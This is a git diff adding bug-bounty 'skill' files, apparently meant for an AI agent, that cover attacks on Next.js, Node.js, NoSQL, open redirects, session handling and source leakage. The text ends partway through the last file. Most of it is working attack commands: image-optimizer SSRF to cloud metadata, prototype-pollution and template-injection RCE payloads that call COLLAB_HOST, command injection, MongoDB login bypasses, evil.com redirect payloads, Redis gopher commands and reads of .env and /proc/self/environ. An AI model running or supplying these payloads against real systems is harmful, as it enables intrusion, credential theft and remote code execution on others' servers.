Phase 2 — Server Actions Abuse++```bash+# Server Actions in Next.js 14+ use x-action-id or Next-Action header+# Find action IDs in HTML source or JS bundles+curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'+grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null++# Call Server Action directly without auth+curl -s -X POST https://$TARGET/target-page \+ -H "Next-Action: ACTION_ID_HERE" \+ -H "Content-Type: multipart/form-data; boundary=----" \+ -H "Cookie: " \+ --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'++# Test: does the action execute without a valid session?+# If it returns data or mutates state → auth enforcement is client-side only+```++---++## Phase 3 — Middleware Auth Bypass++```bash+# Next.js middleware runs on edge runtime and may skip certain paths+# Test protected route directly+curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard+# → 200 means accessible++# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply+curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"++# Test via static asset path prefix (middleware matcher may exclude /_next/static)+curl -s "https://$TARGET/_next/static/../admin/dashboard"++# Encoded path bypass+curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"+curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"+```++---++## Phase 4 — Image Optimization SSRF (`/_next/image`)++```bash+# Basic SSRF test — internal metadata+curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"++# Protocol bypass attempts+curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"+curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"++# OOB detection+COLLAB="http://COLLAB_HOST"+curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"+# Check Interactsh/Burp Collaborator for DNS/HTTP callback++# CVE-2024-34351 — Host header SSRF via image optimizer+curl -s "https://$TARGET/_next/image?url=http://target.com/image.png&w=64&q=75" \+ -H "Host: evil.com"+```++---++## Phase 5 — `/_next/data/` IDOR & Data Leakage++```bash+# Enumerate prerendered JSON for user-specific data+# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json+curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \+ -H "Cookie: session=VICTIM_SESSION"++# Try other users' data+for ID in 1 2 3 100 1000; do+ curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3+done++# Check __NEXT_DATA__ in HTML for sensitive server-side props+curl -s "https://$TARGET/dashboard" | \+ python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"+```++---++## Phase 6 — ISR Cache Poisoning++```bash+# ISR pages regenerate on request after revalidation period+# If user input influences the static page content without sanitization:+# 1. Trigger revalidation with malicious input in URL/query+# 2. Injected content cached and served to all users++# Test: does query param affect cached page content?+curl -s "https://$TARGET/blog/test-post?preview=<script>alert(1)</script>" | grep "script"++# On-demand revalidation endpoint (if exposed)+curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"+curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"+```++---++## Phase 7 — Debug & Stack Frame Endpoints++```bash+# Next.js dev-mode endpoints sometimes leak to production+curl -s "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"+curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"++# Error overlay endpoint — file read primitive in misconfigured prod+curl -s "https://$TARGET/__nextjs_original-stack-frame" \+ --data '{"file":"/etc/passwd","line":1,"column":1}'+```++---++## Phase 8 — Environment Variable Leakage++```bash+# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets+curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \+ grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"++# Check for non-public vars accidentally exposed+curl -s https://$TARGET/ | python3 -c "+import sys, re, json+m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)+if m:+ d = json.loads(m.group(1))+ print(json.dumps(d.get('props', {}), indent=2))+"+```++---++## Chain Table++| Next.js finding | Chain to | Impact |+|----------------|----------|--------|+| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |+| `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |+| `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |+| Middleware bypass | Protected admin routes | Auth bypass |+| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |+| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |++---++## Validation++✅ Server Action: action executes without valid session, returns data or mutates state+✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF+✅ Middleware bypass: 200 response on protected route without auth cookie+✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII++**Severity:**+- Server Action auth bypass → data mutation: High/Critical+- Image SSRF → cloud metadata: Critical+- Middleware bypass → admin panel: High+- Source map exposure only: Low-Mediumdiff --git a/skills/hunt-nodejs/SKILL.md b/skills/hunt-nodejs/SKILL.mdnew file mode 100644index 0000000..b02d182--- /dev/null+++ b/skills/hunt-nodejs/SKILL.md@@ -0,0 +1,219 @@+---+name: hunt-nodejs+description: Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.+sources: hackerone_public, snyk_research, portswigger_research+report_count: 24+---++# HUNT-NODEJS — Node.js Specific Vulnerabilities++## Crown Jewel Targets++Prototype Pollution reaching a sink in Node.js backend = Critical RCE.++**Highest-value chains:**+- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink+- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits+- **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`+- **`child_process` injection** — user input interpolated into shell command string → OS command injection+- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS++---++## Attack Surface Signals++```+X-Powered-By: Express Confirms Express.js+Node.js in error messages Runtime detected+package.json exposed Dependency list + versions+/proc/self/environ accessible Environment variable exfil+Error stack traces with .js paths Node.js confirmed+__proto__ in JSON accepted Prototype pollution candidate+```++---++## Phase 1 — Fingerprint++```bash+# Confirm Node.js/Express+curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"++# Check for package.json / node_modules exposure+curl -s "https://$TARGET/package.json"+curl -s "https://$TARGET/package-lock.json"+curl -s "https://$TARGET/node_modules/.package-lock.json"++# Error-based version detection+curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"+```++---++## Phase 2 — Prototype Pollution Detection++```bash+# JSON body injection — test if __proto__ is accepted+curl -s -X POST https://$TARGET/api/merge \+ -H "Content-Type: application/json" \+ -d '{"__proto__": {"polluted": "yes"}}'++# Constructor prototype+curl -s -X POST https://$TARGET/api/settings \+ -H "Content-Type: application/json" \+ -d '{"constructor": {"prototype": {"isAdmin": true}}}'++# URL query param injection (qs library)+curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"+curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"++# Confirm pollution: does a subsequent request reflect the polluted key?+curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"+```++---++## Phase 3 — Prototype Pollution → RCE Chain++```bash+# If pollution is confirmed, attempt to reach dangerous sinks++# Sink 1: child_process via options.shell pollution+curl -s -X POST https://$TARGET/api/update \+ -H "Content-Type: application/json" \+ -d '{+ "__proto__": {+ "shell": "node",+ "NODE_OPTIONS": "--require /proc/self/fd/0",+ "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}+ }+ }'++# Sink 2: lodash template pollution (CVE-2021-23337)+curl -s -X POST https://$TARGET/api/render \+ -H "Content-Type: application/json" \+ -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'++# Sink 3: ejs template options pollution+# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`+curl -s -X POST https://$TARGET/api/template \+ -H "Content-Type: application/json" \+ -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'++# OOB confirmation — check Interactsh for callback+```++---++## Phase 4 — Express Trust Proxy Abuse++```bash+# If Express has trust proxy enabled, X-Forwarded-For is trusted+# Test: does spoofed IP bypass IP-based rate limiting or allowlist?++# Spoof IP to 127.0.0.1 (localhost bypass)+curl -s -X POST https://$TARGET/api/admin/action \+ -H "X-Forwarded-For: 127.0.0.1" \+ -H "Content-Type: application/json" \+ -d '{"action": "test"}'++# Spoof to internal IP range+curl -s -X POST https://$TARGET/api/internal \+ -H "X-Forwarded-For: 10.0.0.1" \+ -H "X-Real-IP: 10.0.0.1"++# Rate limit bypass via rotating fake IPs+for i in $(seq 1 50); do+ curl -s https://$TARGET/api/login \+ -H "X-Forwarded-For: 1.2.3.$i" \+ -d '{"email":"[email protected]","password":"wrong"}' \+ -o /dev/null -w "$i: %{http_code}\n"+done+```++---++## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)++```bash+# EJS SSTI — if user input reaches EJS template context+# Test basic: <%= 7*7 %> should return 49+curl -s -X POST https://$TARGET/api/render \+ -H "Content-Type: application/json" \+ -d '{"template": "<%= 7*7 %>"}'++# EJS RCE payload+curl -s -X POST https://$TARGET/api/render \+ -H "Content-Type: application/json" \+ -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'++# Pug SSTI+curl -s -X POST https://$TARGET/api/render \+ -H "Content-Type: application/json" \+ -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'++# Handlebars — prototype pollution via template+curl -s -X POST https://$TARGET/api/render \+ -H "Content-Type: application/json" \+ -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'+```++---++## Phase 6 — child_process Command Injection++```bash+# Look for endpoints that run shell commands with user input+# Signals: /api/convert, /api/exec, /api/ping, /api/scan++# Basic injection test+curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"+curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"+curl -s -X POST https://$TARGET/api/exec \+ -H "Content-Type: application/json" \+ -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'++# OOB via DNS+curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"+```++---++## Phase 7 — /proc/self/environ Exfil++```bash+# If LFI exists on Node.js app, /proc/self/environ leaks env vars+curl -s "https://$TARGET/api/file?path=/proc/self/environ"+curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"++# Also check:+curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line+curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory+```++---++## Chain Table++| Node.js finding | Chain to | Impact |+|----------------|----------|--------|+| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |+| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |+| SSTI in template engine | OS command execution | Critical RCE |+| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |+| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |++---++## Validation++✅ Prototype pollution: key appears in subsequent API responses without being sent+✅ RCE chain: OOB callback received OR `id` output in response+✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist++**Severity:**+- Prototype pollution → RCE: Critical+- SSTI → RCE: Critical+- child_process injection: Critical+- Trust proxy → rate limit bypass: Medium+- /proc/self/environ exfil: High (if cloud keys present)diff --git a/skills/hunt-nosqli/SKILL.md b/skills/hunt-nosqli/SKILL.mdnew file mode 100644index 0000000..eaf062d--- /dev/null+++ b/skills/hunt-nosqli/SKILL.md@@ -0,0 +1,157 @@+---+name: hunt-nosqli+description: Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.+sources: hackerone_public+report_count: 14+---++# HUNT-NOSQLI — NoSQL Injection++## Crown Jewel Targets++NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).++**Highest-value chains:**+- **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)+- **$where JS injection** — if $where is enabled: blind injection → data exfil+- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell+- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE++---++## Attack Surface Signals++### URL & Param Patterns+```+/api/users/login POST with JSON body+/api/search?q=+/api/find?filter=+/api/query?where=+Any endpoint accepting JSON body with username/password+```++### Stack Signals+| Signal | Vector |+|--------|--------|+| MongoDB error messages in response | Operator injection |+| mongoose / monk in JS bundles | ODM patterns |+| X-Powered-By: Express | Node.js + MongoDB common stack |+| CouchDB/_utils UI exposed | Futon/Fauxton admin |+| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |+| Elasticsearch :9200 open | Script injection |++---++## Step-by-Step Hunting Methodology++### Phase 1 — Auth Bypass (MongoDB)+```bash+# Operator injection in JSON body+curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'++# Regex wildcard — match any username+curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'++# ne (not equal) bypass+curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": "admin", "password": {"$ne": "wrong"}}'++# in array bypass+curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'+```++### Phase 2 — URL Parameter Injection+```bash+# Array notation (Express/PHP-style)+curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="+curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"++# POST form data+curl "https://$TARGET/api/login" \+ --data "username[$gt]=&password[$gt]="+```++### Phase 3 — $where Blind Injection (time-based)+```bash+# Test if $where is enabled (time-based detection, 5s delay)+curl -s -X POST https://$TARGET/api/search \+ -H "Content-Type: application/json" \+ -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'+# If response takes 5+ seconds → $where injection confirmed++# Blind data exfil (username starts with 'a'?)+curl -s -X POST https://$TARGET/api/search \+ -H "Content-Type: application/json" \+ -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'+```++### Phase 4 — Data Dump via Regex+```bash+# Enumerate usernames character by character+for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do+ RESP=$(curl -s -X POST https://$TARGET/api/users \+ -H "Content-Type: application/json" \+ -d "{\"username\": {\"\$regex\": \"^$c\"}}")+ echo "$c: $(echo $RESP | wc -c)"+done+```++### Phase 5 — Automation+```bash+# nosqlmap+pip3 install nosqlmap+nosqlmap -u "https://$TARGET/api/login" --attack 1++# nosqlmap data extraction+nosqlmap -u "https://$TARGET/api/login" --attack 2+```++### Phase 6 — Redis via SSRF+```bash+# If SSRF found, probe internal Redis via gopher://+curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"++# CONFIG SET webshell (if Redis has write access to web root)+# Use SLAVEOF for OOB data exfil+```++---++## Bypass Table++| Defense | Bypass |+|---------|--------|+| JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) |+| Sanitizes `$` | Unicode: `$gt` |+| Blocks operator keys | Nested objects deeper in structure |++---++## Chain Table++| NoSQLi finding | Chain to | Impact |+|---------------|----------|--------|+| Auth bypass | Admin panel access | Full admin control |+| User enum via regex | Credential stuffing | Mass ATO |+| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |+| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |++---++## Validation++✅ Auth bypass: logged in without valid credentials, received valid session token+✅ Data dump: returned users/documents you shouldn't have access to+✅ Blind injection: confirmed via time-delay (>4 seconds consistent)++**Severity:**+- Auth bypass as admin: Critical+- User collection dump: High+- Blind injection (no useful exfil): Mediumdiff --git a/skills/hunt-open-redirect/SKILL.md b/skills/hunt-open-redirect/SKILL.mdnew file mode 100644index 0000000..33e6af6--- /dev/null+++ b/skills/hunt-open-redirect/SKILL.md@@ -0,0 +1,170 @@+---+name: hunt-open-redirect+description: Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.+sources: hackerone_public+report_count: 28+---++# HUNT-OPEN-REDIRECT — Open Redirect++## Crown Jewel Targets++Open redirect alone is Low. Chained to OAuth = Critical (ATO).++**Highest-value chains:**+- **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO+- **Open redirect → phishing** — users trust the URL because it starts with target.com+- **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF+- **Open redirect → session fixation** — force user to login endpoint with pre-set session++---++## Attack Surface Signals++```+?redirect=+?next=+?url=+?return=+?returnTo=+?continue=+?dest=+?destination=+?go=+?forward=+?location=+?target=+?redir=+?redirect_uri=+?callback=+?checkout_url=+?success_url=+?cancel_url=+/logout?returnTo=+/login?next=+/sso?callback=+```++---++## Bypass Table++| Technique | Payload |+|-----------|---------|+| Basic | `https://evil.com` |+| Protocol relative | `//evil.com` |+| Backslash bypass | `/\\evil.com` |+| At-sign confusion | `https://[email protected]` |+| Double slash | `//evil.com/%2F..` |+| URL encoding | `%2Fevil.com` |+| Null byte | `evil.com%00target.com` |+| Whitespace | `evil.com%09` or `%20` |+| CRLF in URL | `evil.com%0d%0aLocation: https://attacker.com` |+| JavaScript URI | `javascript:window.location='https://evil.com'` |+| Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` |+| Subdomain | `https://target.com.evil.com` |+| Fragment | `https://evil.com#.target.com` |++---++## Step-by-Step Hunting Methodology++### Phase 1 — Discover Redirect Parameters+```bash+# Extract all redirect candidates from crawl+cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt+wc -l recon/$TARGET/redirect-candidates.txt++# Less common param names+grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \+ recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt+```++### Phase 2 — Basic Test+```bash+COLLAB="https://evil.com"+cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do+ LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")+ [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"+done+```++### Phase 3 — Bypass Techniques+```bash+BASE_URL="https://$TARGET/redirect?url="+PAYLOADS=(+ "https://evil.com"+ "//evil.com"+ "/\\evil.com"+ "https://[email protected]"+ "https://evil.com%23.$TARGET"+ "https://evil.com%09"+)+for P in "${PAYLOADS[@]}"; do+ LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")+ echo "$P → $LOC"+done+```++### Phase 4 — OAuth Chain Test+```bash+# If target has OAuth, check if redirect_uri accepts open redirect+grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20++# Construct OAuth URL with open redirect as redirect_uri+# Normal: redirect_uri=https://target.com/callback+# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com+OAUTH_URL="https://$TARGET/oauth/authorize"+curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"+```++### Phase 5 — Server-Side Redirect (SSRF escalation)+```bash+# If the app fetches the redirect target server-side (302 fetch follow)+curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"++# Or: if app makes HTTP request to the redirect destination+curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \+ -H "Cookie: $SESSION"+```++---++## Automation+```bash+# openredirex+pip3 install openredirex+openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com++# nuclei+nuclei -u https://$TARGET -t redirect/ -severity medium,high++# gf + qsreplace+cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \+ xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}+```++---++## Chain Table++| Open redirect finding | Chain to | Impact |+|----------------------|----------|--------|+| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |+| Any open redirect | Phishing URL with target domain | Social engineering |+| Server-side redirect | SSRF via followed redirect | Internal service access |+| Logout redirect | Session fixation | Force login with known session |++---++## Validation++✅ Location header in response points to evil.com (your controlled domain)+✅ Browser follows redirect to attacker-controlled page++**Severity:**+- Redirect alone: Low (most programs)+- Chains to OAuth code theft → ATO: High/Critical+- Chains to phishing with brand name: Low-Medium+- Server-side → SSRF: Highdiff --git a/skills/hunt-session/SKILL.md b/skills/hunt-session/SKILL.mdnew file mode 100644index 0000000..c26e92f--- /dev/null+++ b/skills/hunt-session/SKILL.md@@ -0,0 +1,173 @@+---+name: hunt-session+description: Hunt Session Management vulnerabilities — session fixation, session prediction (low entropy), insufficient invalidation on logout/password change, concurrent session abuse, JWT as session without expiry or revocation, cookie attribute issues (Secure/HttpOnly/SameSite missing). Medium to High impact.+sources: hackerone_public+report_count: 18+---++# HUNT-SESSION — Session Management++## Crown Jewel Targets++Session fixation leading to admin hijack = Critical. Session not invalidated after password change = High.++**Highest-value chains:**+- **Session fixation** — server accepts session ID set by client, doesn't regenerate on login → persistent ATO+- **Session not invalidated on logout** — old token still works after logout → session hijack window+- **Session not invalidated on password change** — compromised session survives password reset → persistent ATO+- **Predictable session ID** — low entropy (sequential, timestamp-based) → brute force other users' sessions+- **JWT as session without expiry** — tokens never expire + no revocation list → stolen token = permanent access++---++## Step-by-Step Hunting Methodology++### Phase 1 — Session Fixation Test+```bash+# Step 1: Capture pre-auth session token+PRESESSION=$(curl -s -I https://$TARGET/login | \+ grep -i "set-cookie" | grep -oP 'session=[^;]+')+echo "Pre-auth session: $PRESESSION"++# Step 2: Login using that session token+curl -s -X POST https://$TARGET/login \+ -H "Cookie: $PRESESSION" \+ -d "[email protected]&password=testpass"++# Step 3: Check if session token changed after login+POSTSESSION=$(curl -s -c /dev/null https://$TARGET/api/me \+ -H "Cookie: $PRESESSION" | grep -v "401\|Unauthorized")++# If pre-auth session gives authenticated access → session fixation+echo "Access with pre-auth session: $POSTSESSION" | head -3+```++### Phase 2 — Session Invalidation on Logout+```bash+# Step 1: Login and capture session+SESSION=$(curl -s -c - -X POST https://$TARGET/api/login \+ -d '{"email":"[email protected]","password":"testpass"}' | \+ grep -i "session" | awk '{print $NF}')++# Step 2: Logout+curl -s -X POST https://$TARGET/api/logout \+ -H "Cookie: session=$SESSION"++# Step 3: Try using old session on authenticated endpoint+RESP=$(curl -s https://$TARGET/api/me -H "Cookie: session=$SESSION" \+ -o /dev/null -w "%{http_code}")+echo "Post-logout session status: $RESP"+# Should be 401. If 200 → session not invalidated+```++### Phase 3 — Session Not Invalidated on Password Change+```bash+# Step 1: Login, capture session A+SESSION_A="session-token-from-login"++# Step 2: Change password (simulating attacker has old session, victim changes password)+curl -s -X POST https://$TARGET/api/change-password \+ -H "Cookie: session=VICTIM_SESSION" \+ -d '{"old_password":"old","new_password":"newpass123"}'++# Step 3: Try SESSION_A on authenticated endpoint+RESP=$(curl -s https://$TARGET/api/profile -H "Cookie: session=$SESSION_A" \+ -o /dev/null -w "%{http_code}")+echo "Session after password change: $RESP"+# Should be 401. If 200 → persistent ATO vulnerability+```++### Phase 4 — Cookie Attribute Analysis+```bash+# Check session cookie attributes+curl -sI https://$TARGET/ | grep -i "set-cookie"++# Check for missing attributes:+# HttpOnly — if missing, XSS can steal cookie via document.cookie+# Secure — if missing, cookie sent over HTTP+# SameSite — if None without Secure, or if missing → CSRF potential++# Example vulnerable:+# Set-Cookie: session=abc123; Path=/+# Missing: HttpOnly, Secure, SameSite+```++### Phase 5 — Session Entropy Check+```bash+# Collect 10 session tokens and analyze patterns+for i in $(seq 1 10); do+ TOKEN=$(curl -s -c - https://$TARGET/login | \+ grep -i "session" | awk '{print $NF}' | head -1)+ echo "$i: $TOKEN"+ sleep 0.5+done++# Look for:+# - Sequential IDs: session=1001, 1002, 1003+# - Timestamp-based: base64(userId + timestamp)+# - Short tokens: < 32 characters+# - Predictable patterns: username + date+```++### Phase 6 — JWT Session Analysis+```bash+# Decode JWT to inspect claims+echo "JWT_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .++# Check for:+# exp: missing or far future → no expiry+# alg: none → alg=none attack (also see hunt-api-misconfig)+# iss: weak signing key → brute with hashcat++# Test if JWT is revoked on logout+SESSION_JWT="eyJ..."+curl -s -X POST https://$TARGET/api/logout \+ -H "Authorization: Bearer $SESSION_JWT"+curl -s https://$TARGET/api/me \+ -H "Authorization: Bearer $SESSION_JWT" | head -5+# Should return 401 after logout++# jwt_tool for tampering+jwt_tool $SESSION_JWT -T # tamper mode+jwt_tool $SESSION_JWT -X a # alg:none test+```++### Phase 7 — Concurrent Session Abuse+```bash+# Login twice and check if both sessions remain valid+SESSION_1="first-login-session"+SESSION_2="second-login-session" # login again from different browser++curl -s https://$TARGET/api/me -H "Cookie: session=$SESSION_1" | head -3+curl -s https://$TARGET/api/me -H "Cookie: session=$SESSION_2" | head -3++# If both active: note for report context+# Some apps should invalidate old session on new login (banking, high-security)+```++---++## Chain Table++| Session finding | Chain to | Impact |+|----------------|----------|--------|+| Session fixation | Trick admin into clicking login link | Admin session takeover |+| No logout invalidation | XSS → cookie theft | Persistent access after victim logs out |+| No change-password invalidation | XSS or network sniff for old session | Persistent ATO |+| Missing HttpOnly | XSS cookie theft | Session hijack |+| JWT no expiry | Stolen JWT = permanent access | Persistent ATO |++---++## Validation++✅ Session fixation: pre-set session ID gives authenticated access after victim login+✅ No logout invalidation: old session token returns 200 after logout+✅ Password change: old session survives password change, still returns user data+✅ Predictable: sequential or timestamp-based tokens confirmed++**Severity:**+- Session fixation → admin access: Critical/High+- No invalidation on password change: High+- Missing HttpOnly on session cookie (requires XSS): Medium+- Predictable session ID: Highdiff --git a/skills/hunt-source-leak/SKILL.md b/skills/hunt-source-leak/SKILL.mdnew file mode 100644index 0000000..e7f004d--- /dev/null+++ b/skills/hunt-source-leak/SKILL.md@@ -0,0 +1,274 @@+---+name: hunt-source-leak+description: Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.+sources: hackerone_public, offensive_research+report_count: 31+---++# HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage++## Crown Jewel Targets++Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.++**Highest-value findings:**+- **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses+- **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names+- **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext+- **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets+- **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery+- **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting++---++## Phase 1 — Quick Wins (Run First)++```bash+# These 10 requests take <30 seconds and often yield Critical findings+for PATH in \+ "/.env" \+ "/.env.production" \+ "/.env.local" \+ "/.git/HEAD" \+ "/swagger.json" \+ "/api/swagger.json" \+ "/v1/swagger.json" \+ "/openapi.json" \+ "/api/openapi.json" \+ "/api-docs"; do+ STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")+ if [ "$STATUS" = "200" ]; then+ echo "[+] HIT: https://$TARGET$PATH"+ head -5 /tmp/sl_test+ echo "---"+ fi+done+```++---++## Phase 2 — Source Map Discovery++```bash+# Step 1: Get asset manifest to find all JS bundle paths+curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null+curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3++# 